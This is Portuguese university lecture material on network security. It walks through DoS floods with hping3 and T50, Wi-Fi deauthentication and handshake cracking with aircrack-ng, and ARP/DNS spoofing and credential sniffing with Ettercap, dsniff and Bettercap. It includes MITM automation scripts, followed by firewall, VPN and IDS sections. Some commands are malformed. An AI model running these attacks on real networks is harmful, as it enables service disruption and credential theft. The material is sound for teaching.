CÓDIGO DA DISCIPLINA: DEE345
Departamento de Engenharias e Exatas - UFPR/Palotina
Docente de Segurança da Informação
Netcat (nc) é uma ferramenta versátil para manipulação de conexões TCP/UDP. Permite criar servidores, clientes, transferir arquivos e realizar varreduras de portas.
Estabelece uma comunicação bidirecional entre duas máquinas via TCP.
# Servidor: escuta na porta 4444
nc -l 4444
# Cliente: conecta ao servidor
nc 192.168.1.10 4444
Explicação: O servidor (-l) aguarda conexões na porta especificada. O cliente se conecta ao IP e porta do servidor. Digite mensagens em uma máquina, e elas aparecerão na outra. Use Ctrl+C para encerrar.
Transfere arquivos ou diretórios entre máquinas sem necessidade de protocolos como FTP.
# Servidor: compacta e envia diretório
tar czf - ./dados | nc -l 5555
# Cliente: recebe e descompacta
nc 192.168.1.10 5555 | tar xzf -
Explicação: O comando tar compacta o diretório dados, que é enviado via nc. O cliente recebe o fluxo e descompacta diretamente. Teste com um diretório pequeno para verificar a integridade.
Identifica portas abertas em um intervalo de IPs.
nc -zv 192.168.1.0/24 22-1024
Explicação: -z evita enviar dados, -v exibe detalhes, e a faixa 22-1024 verifica portas comuns. A saída mostra portas abertas (e.g., "succeeded"). Útil para mapeamento de rede, mas exige cuidado em redes não autorizadas.
Configure dois terminais: um como servidor (nc -l 9999) e outro como cliente (nc localhost 9999). Envie uma mensagem e capture o tráfego com Wireshark (filtro: tcp.port == 9999). Analise os pacotes trocados.
DoS e DDoS visam sobrecarregar recursos de rede, tornando serviços indisponíveis. Testes devem ser feitos apenas em ambientes controlados.
Inunda o alvo com pacotes SYN, esgotando a tabela de conexões TCP.
# Enviar pacotes SYN para a porta 80
hping3 -S 192.168.1.10 -p 80 --flood
Explicação: -S define pacotes SYN, --flood envia rapidamente sem esperar respostas. O alvo pode ficar lento ou parar de responder. Monitore com tcpdump (tcp port 80) para observar o tráfego.
Gera tráfego massivo com diferentes protocolos (e.g., UDP, TCP).
# UDP flood com pacotes de 1470 bytes
t50 --udp -d 1470 192.168.1.10
Explicação: --udp especifica o protocolo, -d define o tamanho do pacote. O T50 pode combinar múltiplos vetores, tornando-o eficaz para testes de estresse. Use em um ambiente isolado.
Configure um firewall para limitar conexões por IP:
sudo iptables -A INPUT -p tcp --syn --dport 80 -m connlimit --connlimit-above 50 -j DROP
Explicação: Restringe conexões SYN simultâneas por IP, mitigando floods. Teste o ataque antes e depois da regra para comparar o impacto.
Aviso: Ataques DoS/DDoS são ilegais sem autorização explícita. Use apenas em laboratórios controlados.
Redes Wi-Fi são vulneráveis a interceptações e ataques de desautenticação. A suite aircrack-ng é amplamente usada para testes de segurança.
airmon-ng start wlan0
Explicação: Coloca a interface wlan0 em modo monitor (wlan0mon), permitindo capturar pacotes sem se conectar à rede. Verifique com iwconfig.
airodump-ng --bssid AA:BB:CC:DD:EE:FF -c 6 -w capture wlan0mon
Explicação: --bssid filtra um AP específico, -c define o canal, -w salva a captura. O handshake aparece no topo da tela quando capturado.
aireplay-ng --deauth 5 -a AA:BB:CC:DD:EE:FF wlan0mon
Explicação: Envia 5 pacotes de desautenticação (-a especifica o AP), forçando clientes a se reconectarem e revelar o handshake.
aircrack-ng -w /usr/share/wordlists/rockyou.txt capture-01.cap
Explicação: Tenta combinar a senha do handshake com a wordlist. Rockyou é uma lista popular, mas senhas complexas exigem listas maiores ou GPUs.
Configure um AP de teste (e.g., roteador doméstico com WPA2). Use aircrack-ng para capturar o handshake e tente quebrar a senha com rockyou.txt. Documente o tempo necessário e analise as limitações.
Analisar tráfego de rede é essencial para detectar atividades maliciosas. Ferramentas como Wireshark e tcpdump são fundamentais.
Interface gráfica para análise de pacotes.
# Filtrar tráfego HTTP
http
# Seguir uma conexão TCP
Right-click → Follow → TCP Stream
# Exportar objetos HTTP (e.g., imagens)
File → Export Objects → HTTP
Explicação: O filtro http mostra apenas pacotes HTTP. "Follow TCP Stream" reconstrói a conversa, útil para analisar payloads. Exportar objetos recupera arquivos transferidos.
Ferramenta de linha de comando para captura de pacotes.
# Capturar pacotes TCP na porta 443 e salvar
sudo tcpdump -i eth0 tcp port 443 -w dump.pcap
# Filtrar conexões SSH de um host
sudo tcpdump -nn -i eth0 host 10.0.0.5 and port 22
Explicação: -i especifica a interface, -w salva em um arquivo pcap, -nn desativa resolução de nomes. Use Wireshark para abrir o arquivo salvo.
Ferramenta moderna para sniffing e ataques MITM.
# Iniciar sniffing de rede
sudo bettercap -eval "net.probe on; net.sniff on"
# Executar ARP spoofing com injeção de JavaScript
sudo bettercap -X --proxy-module injectjs --js-file script.js
Explicação: net.sniff captura pacotes, --proxy-module injeta código em páginas HTTP. Crie um script.js com alert("MITM!"); para testar a injeção.
Capture tráfego HTTPS (porta 443) com tcpdump em um ambiente de teste. Abra o arquivo em Wireshark e aplique o filtro tls. Identifique o domínio acessado (via SNI) e discuta por que o conteúdo está criptografado.
O uso de Cain & Abel (Windows) e dsniff (Unix/Linux) para sniffing (captura de dados de rede) e spoofing (manipulação de tráfego). Essas ferramentas simulam ataques como Man-in-the-Middle (MITM) para capturar credenciais e analisar protocolos, sendo úteis em testes éticos de segurança. Abaixo, explico cada ferramenta com exemplos práticos, saídas esperadas, comandos detalhados e cenários reais.
Aviso Ético: Use essas ferramentas apenas em ambientes autorizados (ex.: laboratórios próprios ou plataformas como TryHackMe). Interceptar tráfego sem permissão viola a Lei nº 14.155/2021 (Crimes Cibernéticos) e a LGPD (Lei nº 13.709).
Cain & Abel é uma ferramenta gráfica para Windows que combina sniffing, ARP spoofing, análise de protocolos e quebra de dados. É amplamente usada em pentests para testar a segurança de redes locais, capturando credenciais em texto claro e quebrando hashes.
Cenário: Em um laboratório, você é um pentester testando a rede 192.168.1.0/24. O alvo é 192.168.1.10, e o gateway é 192.168.1.1. Você usará Cain & Abel para interceptar credenciais HTTP.
Abra o Cain & Abel como administrador. Vá em Configure → Sniffer e selecione a interface de rede (ex.: Ethernet).
Saída Esperada:
Interface selecionada: Realtek PCIe Adapter (192.168.1.100)
Explicação: Define a interface para captura de pacotes. Certifique-se de estar na mesma sub-rede do alvo.
Ative o modo sniffer (botão na barra superior). Vá em APR, clique em “+” e adicione o par IP-alvo (192.168.1.10) e IP-gateway (192.168.1.1). Clique em “Start APR”.
Saída Esperada:
APR started: Poisoning 192.168.1.10 <->192.168.1.1
Explicação: O Cain & Abel envia pacotes ARP, convencendo o alvo e o gateway de que seu MAC é o correto, redirecionando o tráfego por você.
Capturar Credenciais:Vá em Passwords → Network. Quando o alvo acessar sites HTTP, as credenciais aparecerão.
Saída Esperada:
HTTP: 192.168.1.10 -> www.example.com/login User: alice Pass: P@ssw0rd!
Explicação: Credenciais HTTP não criptografadas (sem HTTPS) são capturadas em tempo real.
Se capturar um hash NTLM (ex.: via SMB), vá em Cracker → LM & NTLM Hashes, selecione o hash e clique em “Start” com uma wordlist (ex.: rockyou.txt).
Saída Esperada:
Hash: aad3b435b51404ee... Password: Password123
Explicação: Usa força bruta ou dicionário para revelar a senha original.
Embora o Cain & Abel seja GUI, você pode verificar o status da rede no Windows:
arp -a
Saída Esperada:
192.168.1.10 00-14-22-01-23-45 dynamic 192.168.1.1dynamic
Explicação: Confirma que a tabela ARP foi envenenada, associando o IP do gateway ao seu MAC.
Nota: O Cain & Abel é uma ferramenta antiga (última versão ~2014). Para alternativas modernas, use Bettercap ou Wireshark com plugins.
dsniff é um conjunto de ferramentas de linha de comando para Unix/Linux, projetado para sniffing, spoofing e captura automatizada de credenciais em texto claro. É ideal para pentesters que preferem automação e scripts.
Cenário: Em um laboratório, você é um pentester na rede 192.168.1.0/24. O alvo é 192.168.1.10, e o gateway é 192.168.1.1. Você usará dsniff para capturar credenciais HTTP.
Permite redirecionar pacotes entre alvo e gateway:
sudo echo 1 > /proc/sys/net/ipv4/ip_forward
Saída Esperada: Nenhuma saída visível.
Explicação: Ativa o encaminhamento de pacotes, essencial para MITM sem interromper a conexão do alvo.
Verifique:
cat /proc/sys/net/ipv4/ip_forward
Saída Esperada:
1
Use arpspoof para enganar o alvo e o gateway:
sudo arpspoof -i eth0 -t 192.168.1.10 192.168.1.1 &
Saída Esperada:
00:14:22:01:23:45 ff:ff:ff:ff:ff:ff 0806 42: arp reply 192.168.1.1 is-at
Em outro terminal:
sudo arpspoof -i eth0 -t 192.168.1.1 192.168.1.10 &
Explicação: Envia pacotes ARP falsos, associando seu MAC aos IPs do alvo e gateway, redirecionando o tráfego por você.
Inicie o dsniff para monitorar tráfego HTTP/FTP:
sudo dsniff -i eth0
Saída Esperada:
dsniff: listening on eth0 ----------------- [HTTP] 192.168.1.10 -> www.example.com/login user: alice pass: P@ssw0rd! ----------------- [FTP] 192.168.1.10 -> ftp.example.com user: bob pass: ftp123
Explicação: Captura credenciais em texto claro de protocolos não criptografados.
Para registrar URLs acessadas:
sudo urlsnarf -i eth0
Saída Esperada:
urlsnarf: listening on eth0 [tcp port 80] 192.168.1.10 - - [12/Jun/2025:10:15:00] "GET http://www.example.com/login HTTP/1.1" - - "Mozilla/5.0"
Explicação: Registra atividades web, útil para mapear comportamento do alvo.
Testar DNS Spoofing:
# Crie um arquivo hosts.txt
echo "192.168.1.100 www.example.com" > hosts.txt
# Inicie dnsspoof
sudo dnsspoof -i eth0 -f hosts.txt
Saída Esperada:
dnsspoof: listening on eth0 [udp dst port 53] 192.168.1.10 -> www.example.com A 192.168.1.100
Explicação: Redireciona consultas DNS para um IP falso, simulando um site malicioso.
#!/bin/bash
echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -i eth0 -t $1 $2 &
arpspoof -i eth0 -t $2 $1 &
dsniff -i eth0
Exemplo: `./mitm.sh 192.168.1.10 192.168.1.1`
sudo tcpdump -i eth0 host 192.168.1.10
Nota: O dsniff é poderoso, mas requer configuração manual. Para GUIs modernas, experimente Ettercap.
Prática Recomendada: Teste em um laboratório com TryHackMe ou VMs locais. Combine com Wireshark para análise detalhada de pacotes.
Cain & Abel e dsniff são ferramentas clássicas para sniffing e spoofing, úteis para entender ataques MITM e testar redes. Alunos devem praticar em ambientes controlados, documentar saídas (ex.: capturas de tela, logs) e explorar alternativas modernas como Bettercap. A ética é fundamental: respeite as leis e use apenas em testes autorizados.
Lembrete: Ferramentas de sniffing/spoofing podem ser detectadas por sistemas IDS/IPS (ex.: Snort). Em testes reais, obtenha autorização por escrito.
Ettercap é uma ferramenta poderosa para realizar ataques Man-in-the-Middle (MITM) em redes locais (LAN), suportando ARP Poisoning, DNS Spoofing e sniffing de tráfego em tempo real. É amplamente usada em pentests éticos para testar a segurança de redes, capturando credenciais e manipulando dados. Este slide expande o uso do Ettercap com exemplos práticos, saídas detalhadas e cenários educacionais.
Aviso Ético: Use o Ettercap apenas em ambientes autorizados (ex.: laboratórios próprios, TryHackMe). Interceptar tráfego sem permissão viola a Lei nº 14.155/2021 (Crimes Cibernéticos) e a LGPD (Lei nº 13.709/2018).
Wireshark é uma ferramenta gráfica de código aberto para captura e análise de pacotes de rede em tempo real. É amplamente usada em cibersegurança para depurar redes, investigar ataques e realizar pentests éticos. Este slide expande o uso básico do Wireshark, focando na análise de tráfego HTTP, com exemplos práticos, saídas detalhadas e cenários educacionais.
Aviso Ético: Capture pacotes apenas em redes autorizadas (ex.: laboratórios próprios, TryHackMe). Interceptar tráfego sem permissão viola a Lei nº 14.155/2021 (Crimes Cibernéticos) e a LGPD (Lei nº 13.709/2018).
O Wireshark captura pacotes de rede (ex.: Ethernet, Wi-Fi) e exibe detalhes como protocolos, IPs, portas e payloads. Suas principais funcionalidades incluem:
.pcapng
para análise offline.sudo apt install wireshark
(Linux) ou download em wireshark.org.sudo dpkg-reconfigure wireshark-common
).Iniciar a captura de pacotes em uma interface de rede (ex.: eth0
).
Você é um pentester analisando tráfego HTTP em um laboratório com rede 192.168.1.0/24. Sua máquina (Kali, 192.168.1.100) capturará pacotes de um alvo (192.168.1.10) acessando um site HTTP.
Inicie o Wireshark (GUI):
wireshark &
Saída Esperada: Interface gráfica com lista de interfaces (ex.: eth0
, wlan0
).
Explicação: Cada interface representa um adaptador de rede. Escolha a ativa (ex.: eth0
para Ethernet).
Duplo clique em eth0
ou clique em “Start” após selecioná-la.
Saída Esperada:
Capturing on 'eth0' Packets: 100... 200...
Explicação: Pacotes começam a aparecer na janela principal, com colunas como origem, destino, protocolo e informações.
Alternativamente, use tshark para captura via terminal:
tshark -i eth0
Saída Esperada:
1 0.000000 192.168.1.10 → 192.168.1.1 TCP 74 49152 → 80 [SYN] 2 0.000123 192.168.1.1 → 192.168.1.10 TCP 74 80 → 49152 [SYN, ACK]
Explicação: Lista pacotes em tempo real, útil para automação.
ifconfig
ou ip a
para identificar a interface correta.Isolar pacotes HTTP para analisar requisições e respostas web.
Na barra de filtro (verde), digite:
http
Pressione Enter.
Saída Esperada:
No. Time Source Destination Protocol Info 1 0.000000 192.168.1.10 93.184.216.34 HTTP GET /login HTTP/1.1 2 0.001234 93.184.216.34 192.168.1.10 HTTP HTTP/1.1 200 OK
Explicação: Mostra apenas pacotes HTTP (porta 80), como requisições GET/POST.
Antes de iniciar a captura, use um filtro de captura para reduzir dados:
tcp port 80
Informe na janela de captura (opção “Capture Filter”).
Saída Esperada: Apenas pacotes na porta 80 são capturados.
Explicação: Diferente do filtro de exibição, o filtro de captura descarta outros pacotes, economizando recursos.
Use o filtro sugerido no slide:
tcp port 80 or udp port 53
Saída Esperada:
No. Time Source Destination Protocol Info 1 0.000000 192.168.1.10 8.8.8.8 DNS Standard query A www.example.com 2 0.001234 192.168.1.10 93.184.216.34 HTTP GET /login HTTP/1.1
Explicação: Captura tráfego HTTP (TCP/80) e DNS (UDP/53), útil para analisar navegação web.
Para capturar POSTs com credenciais:
http.request.method == POST
Saída Esperada:
No. Time Source Destination Protocol Info 1 0.000000 192.168.1.10 93.184.216.34 HTTP POST /login HTTP/1.1
Explicação: Isola requisições POST, comuns em formulários de login.
tshark -i eth0 -f "tcp port 80" -Y "http.request.method == POST"
Reconstruir uma sessão HTTP para visualizar o diálogo cliente-servidor, como um formulário de login.
Filtre por http
, clique com o botão direito em um pacote (ex.: POST /login
) e selecione Follow ▶ TCP Stream.
Saída Esperada:
POST /login HTTP/1.1 Host: www.example.com Content-Type: application/x-www-form-urlencoded Content-Length: 27 username=alice&password=P@ssw0rd! HTTP/1.1 200 OK Content-Type: text/html Content-Length: 123 Login successful
Explicação: Mostra a requisição (POST com credenciais) e a resposta (HTML de sucesso).
Observe credenciais em texto claro (HTTP) ou cookies de sessão. Em HTTPS, o payload estará criptografado.
Explicação: Fluxos TCP são úteis para depurar ou identificar vazamentos de dados.
Extraia fluxos via CLI:
tshark -r capture.pcap -Y "http" -z follow,tcp,ascii,0
Saída Esperada: Similar à GUI, com requisição e resposta em texto.
Salvar pacotes capturados para análise offline ou compartilhamento.
Vá em File ▶ Export Specified Packets, selecione “All packets” ou “Displayed” (filtrados) e salve como .pcapng
.
Saída Esperada: Arquivo capture.pcapng
criado.
Explicação: O formato .pcapng
preserva metadados e é compatível com outras ferramentas.
Salve pacotes filtrados via CLI:
tshark -i eth0 -f "tcp port 80" -w http_capture.pcapng
Saída Esperada: Arquivo http_capture.pcapng
criado.
Abra o arquivo:
wireshark http_capture.pcapng &
Explicação: Permite revisar pacotes sem recapturar.
.pcapng
para relatórios ou colaboração em equipe.#!/bin/bash
tshark -i eth0 -f "tcp port 80 or udp port 53" -w capture_$(date +%F_%H%M).pcapng -a duration:60
Captura por 60 segundos com timestamp.
Ilustração do processo de captura de pacotes com Wireshark:
Explicação: O Wireshark intercepta pacotes entre cliente e servidor, permitindo análise detalhada do tráfego.
O Wireshark é uma ferramenta essencial para análise de redes, permitindo capturar, filtrar e inspecionar pacotes com precisão. Alunos devem praticar em laboratórios éticos, usar filtros para otimizar capturas e documentar resultados (ex.: screenshots, arquivos pcapng). Para avançar, explore filtros complexos, tshark e integração com ferramentas como Ettercap ou Splunk.
Recursos
Lembrete: Capturas de pacotes podem ser detectadas por ferramentas de monitoramento. Em testes reais, obtenha permissão por escrito.
O Ettercap é um framework flexível disponível para Linux (Kali, Parrot OS), com interfaces gráfica (-G
) e texto (-T
). Ele permite:
dns_spoof
e passwords
ampliam funcionalidades.sudo apt install ettercap-common ettercap-graphical
.Realizar um ataque MITM via ARP Poisoning, interceptando tráfego entre um alvo (192.168.1.10) e o gateway (192.168.1.1).
Você é um pentester em um laboratório com rede 192.168.1.0/24. Sua máquina (Kali, 192.168.1.100) realizará MITM entre o alvo e o gateway.
Permite redirecionar pacotes sem interromper a conexão:
sudo echo 1 > /proc/sys/net/ipv4/ip_forward
Saída Esperada: Nenhuma saída visível.
Explicação: Ativa o encaminhamento de pacotes, essencial para o MITM. Verifique:
cat /proc/sys/net/ipv4/ip_forward
Saída Esperada:
1
Use Ettercap para envenenar tabelas ARP:
sudo ettercap -T -q -M arp:remote /192.168.1.10/ /192.168.1.1/
Parâmetros:
-T
: Modo texto.-q
: Modo silencioso (menos verboso).-M arp:remote
: Realiza ARP Poisoning bidirecional./192.168.1.10/
: IP do alvo./192.168.1.1/
: IP do gateway.Saída Esperada:
Ettercap 0.8.3.1 started Scanning for merged targets (2 hosts)... ARP poisoning victims: GROUP 1: 192.168.1.10 00:14:22:01:23:45 GROUP 2: 192.168.1.1 00:16:17:02:34:56 Starting Unified sniffing...
Explicação: O Ettercap envia pacotes ARP falsos, associando seu MAC aos IPs do alvo e gateway, redirecionando o tráfego por você.
No alvo (192.168.1.10), verifique a tabela ARP:
arp -a
Saída Esperada:
192.168.1.1dynamic
Explicação: Confirma que o gateway está associado ao MAC do atacante.
Monitore o tráfego com tcpdump:
sudo tcpdump -i eth0 host 192.168.1.10
Saída Esperada:
10:15:00.123456 IP 192.168.1.10.80 > 192.168.1.100.12345: Flags [P.], seq 1:100
ettercap -T -o log.txt
) para relatórios.sudo arp -s 192.168.1.1
Capturar credenciais de protocolos inseguros (HTTP, FTP, SMTP) durante o MITM.
Inicie o Ettercap com interface gráfica:
sudo ettercap -G
Saída Esperada: Janela GTK com opções de configuração.
Explicação: Interface amigável para iniciantes. Navegue até Plugins → Manage the plugins.
Selecione o plugin passwords
e ative-o.
Saída Esperada:
Plugin 'passwords' activated
Explicação: O plugin filtra credenciais de protocolos como HTTP, FTP e SMTP.
Configure o MITM (como no passo anterior) e inicie a captura. As credenciais aparecerão na aba Passwords ou no terminal.
Saída Esperada:
HTTP : 192.168.1.10:80 -> USER: alice PASS: P@ssw0rd! INFO: www.example.com/login FTP : 192.168.1.10:21 -> USER: bob PASS: ftp123 INFO: ftp.example.com
Explicação: Credenciais em texto claro são capturadas de protocolos não criptografados.
Use o plugin diretamente na CLI:
sudo ettercap -T -q -M arp /192.168.1.10/ /192.168.1.1/ -P passwords
Saída Esperada: Mesma saída de credenciais no terminal.
#!/bin/bash
echo 1 > /proc/sys/net/ipv4/ip_forward
ettercap -T -q -M arp /${1}/ /${2}/ -P passwords
Exemplo: ./sniff.sh 192.168.1.10 192.168.1.1
Redirecionar vítimas para um site falso forjando respostas DNS durante o MITM.
Edite o arquivo de configuração DNS:
sudo nano /etc/ettercap/etter.dns
Adicione:
www.example.com A 192.168.1.100
*.example.com A 192.168.1.100
Explicação: Redireciona consultas para `www.example.com` ao IP do atacante (192.168.1.100), onde um site falso pode estar hospedado.
Combine ARP Poisoning com o plugin dns_spoof
:
sudo echo 1 > /proc/sys/net/ipv4/ip_forward
sudo ettercap -T -q -M arp /192.168.1.10/ /192.168.1.1/ -P dns_spoof
Saída Esperada:
dns_spoof: A [www.example.com] spoofed to [192.168.1.100]
Explicação: Quando o alvo acessar `www.example.com`, será redirecionado ao IP do atacante.
Inicie um servidor web no Kali:
sudo python3 -m http.server 80
Saída Esperada:
Serving HTTP on 0.0.0.0 port 80 192.168.1.10 - - [12/Jun/2025 10:15:00] "GET / HTTP/1.1" 200 -
Explicação: O alvo acessa o site falso hospedado no seu IP.
Monitore consultas DNS:
sudo wireshark -i eth0
Saída Esperada: Filtro `dns.qry.name == www.example.com` mostra respostas com 192.168.1.100.
Ilustração do ataque MITM com ARP Poisoning:
Explicação: O atacante envia pacotes ARP falsos, redirecionando o tráfego do alvo e gateway por sua máquina, permitindo sniffing ou spoofing.
O Ettercap é uma ferramenta versátil para MITM, sniffing e spoofing, ideal para pentesters testarem redes LAN. Alunos devem praticar em laboratórios éticos, documentar saídas (logs, capturas de tela) e explorar plugins adicionais. Para cenários modernos, combine com Bettercap ou Wireshark para análises avançadas.
Recursos Adicionais:
Lembrete: Ataques MITM podem ser detectados por sistemas IDS/IPS (ex.: Snort). Em testes reais, obtenha autorização por escrito.
Fortalecer a segurança de rede envolve configurar firewalls, proxies, VPNs e protocolos seguros.
IPTables é usado para definir regras de filtragem de pacotes.
# Bloquear tudo, exceto SSH na porta 5849
sudo iptables -P INPUT DROP
sudo iptables -A INPUT -i lo -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 5849 -m conntrack --ctstate NEW,ESTABLISHED -j ACCEPT
sudo iptables -A OUTPUT -m conntrack --ctstate ESTABLISHED -j ACCEPT
Explicação: -P INPUT DROP bloqueia todo tráfego de entrada. As regras permitem loopback, SSH (5849) e conexões estabelecidas. Teste com nc -zv localhost 5849.
Squid é um proxy HTTP para controle de acesso.
# Instalar e configurar
sudo apt-get install squid
# Editar /etc/squid/squid.conf
acl localnet src 192.168.1.0/24
http_access allow localnet
# Reiniciar
sudo systemctl restart squid
Explicação: Define a rede permitida (localnet) e libera acesso HTTP. Configure um navegador para usar o proxy e teste a navegação.
Cria túneis seguros para comunicação remota.
# Servidor: gerar chaves e iniciar
sudo apt-get install openvpn easy-rsa
make-cadir /etc/openvpn/easy-rsa
cd /etc/openvpn/easy-rsa
./easyrsa init-pki
./easyrsa build-ca
./easyrsa gen-dh
./easyrsa build-server-full server nopass
sudo openvpn --config /etc/openvpn/server.conf
# Cliente: conectar
sudo openvpn --config client.ovpn
Explicação: EasyRSA cria uma PKI. O servidor usa server.conf para escutar conexões. O cliente usa client.ovpn com certificados gerados. Verifique a conexão com ping.
sudo apt-get install strongswan
sudo ipsec up conexao
Configura túneis seguros entre redes.
dig +dnssec example.com
Verifica assinaturas DNS para prevenir envenenamento.
# Habilitar NAT para saída
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
sudo sysctl -w net.ipv4.ip_forward=1
Explicação: Permite que dispositivos em uma rede interna acessem a Internet via um gateway. ip_forward habilita o roteamento.
Vetores avançados exploram falhas humanas e técnicas.
sudo arpspoof -i eth0 -t 192.168.1 -r 10.192.168.1
Explicação: Redireciona o tráfego da vítima para o atacante, permitindo MITM. Use Wireshark para capturar pacotes.
dnsspoof -i eth0 -f hosts.txt
Explicação: hosts.txt mapeia domínios falsos (ex.: google.com 192.168.1.100). Teste acessando o domínio falsificado.
Configure arpspoof em um laboratório. Capture tráfego com Wireshark e injete um alerta JavaScript via Bettercap. Discuta os riscos éticos e legais.
Monitorar e responder a incidentes é essencial para segurança proativa.
Detecta e bloqueia tráfego malicioso com base em regras.
# Instalar e configurar
sudo apt-get install snort
# Criar regra para ICMP
echo 'alert icmp any any -> any any (msg:"ICMP detected"; sid:1000001; rev:1;)' | sudo tee /etc/snort/rules/local.rules
# Executar
sudo snort -c /etc/snort/snort.conf -A console
Explicação: A regra alerta sobre pacotes ICMP. Teste com ping e verifique os alertas no console.
Suricata é um motor de IDS/IPS de alto desempenho que analisa tráfego de rede com base em regras, suporta múltiplos protocolos e oferece detecção avançada de ameaças.
# Instalar Suricata
sudo apt-get install suricata
# Atualizar regras padrão (Emerging Threats)
sudo suricata-update
# Configurar interface de rede em /etc/suricata/suricata.yaml
# Exemplo: interface: eth0
sudo nano /etc/suricata/suricata.yaml
# Executar Suricata em modo IDS
sudo suricata -c /etc/suricata/suricata.yaml -i eth0 -v
# Testar detecção com uma regra personalizada
echo 'alert tcp any any -> any 80 (msg:"HTTP detected"; sid:1000002; rev:1;)' | sudo tee /etc/suricata/rules/local.rules
sudo suricata -c /etc/suricata/suricata.yaml -i eth0 -v
# Verificar alertas gerados
sudo cat /var/log/suricata/fast.log
Explicação: Suricata é configurado via suricata.yaml, especificando a interface de rede (e.g., eth0). A ferramenta usa regras (como as do Emerging Threats) para detectar tráfego malicioso. A regra de exemplo alerta sobre tráfego HTTP na porta 80. Os logs em fast.log mostram alertas gerados. Teste acessando um site HTTP e verifique os logs.
Vantagens do Suricata: Suporta multithreading (diferente do Snort), análise de protocolos avançados (e.g., TLS, HTTP) e integração com SIEMs.
Exercício Prático: Configure Suricata em uma VM. Simule tráfego HTTP com curl http://example.com. Crie uma regra para detectar pacotes TCP na porta 22 (SSH). Analise os logs em /var/log/suricata/fast.log e discuta como Suricata pode complementar Snort em um ambiente corporativo.
Cowrie simula serviços vulneráveis para atrair atacantes.
# Instalar e iniciar
git clone https://github.com/cowrie/cowrie.git
cd cowrie
pip install -r requirements.txt
cp etc/cowrie.cfg.dist etc/cowrie.cfg
bin/cowrie start
Explicação: Cowrie registra tentativas de login SSH/Telnet. Analise os logs em var/log/cowrie.
# Conexões ativas
sudo netstat -anp | grep ESTABLISHED
# Portas abertas
sudo lsof -i -P -n
# Eventos do kernel
dmesg --ctime | tail -n 50
Explicação: netstat mostra conexões, lsof identifica processos de rede, e dmesg exibe erros do sistema. Use grep para filtrar eventos específicos.
APTs: Ataques persistentes usam spear-phishing, backdoors e zero-days. Exemplo: um APT pode usar um script PowerShell para movimentação lateral.
nfdump -r flowfile
Analisa fluxos de rede para detectar anomalias.
Configure ntopng em um laboratório. Simule um ataque HTTP flood com hping3 e observe os padrões de tráfego. Proponha uma regra de firewall para mitigar o ataque.
Monte um laboratório com duas VMs (atacante e vítima). Execute:
github.com/cowrie/cowrie.git
.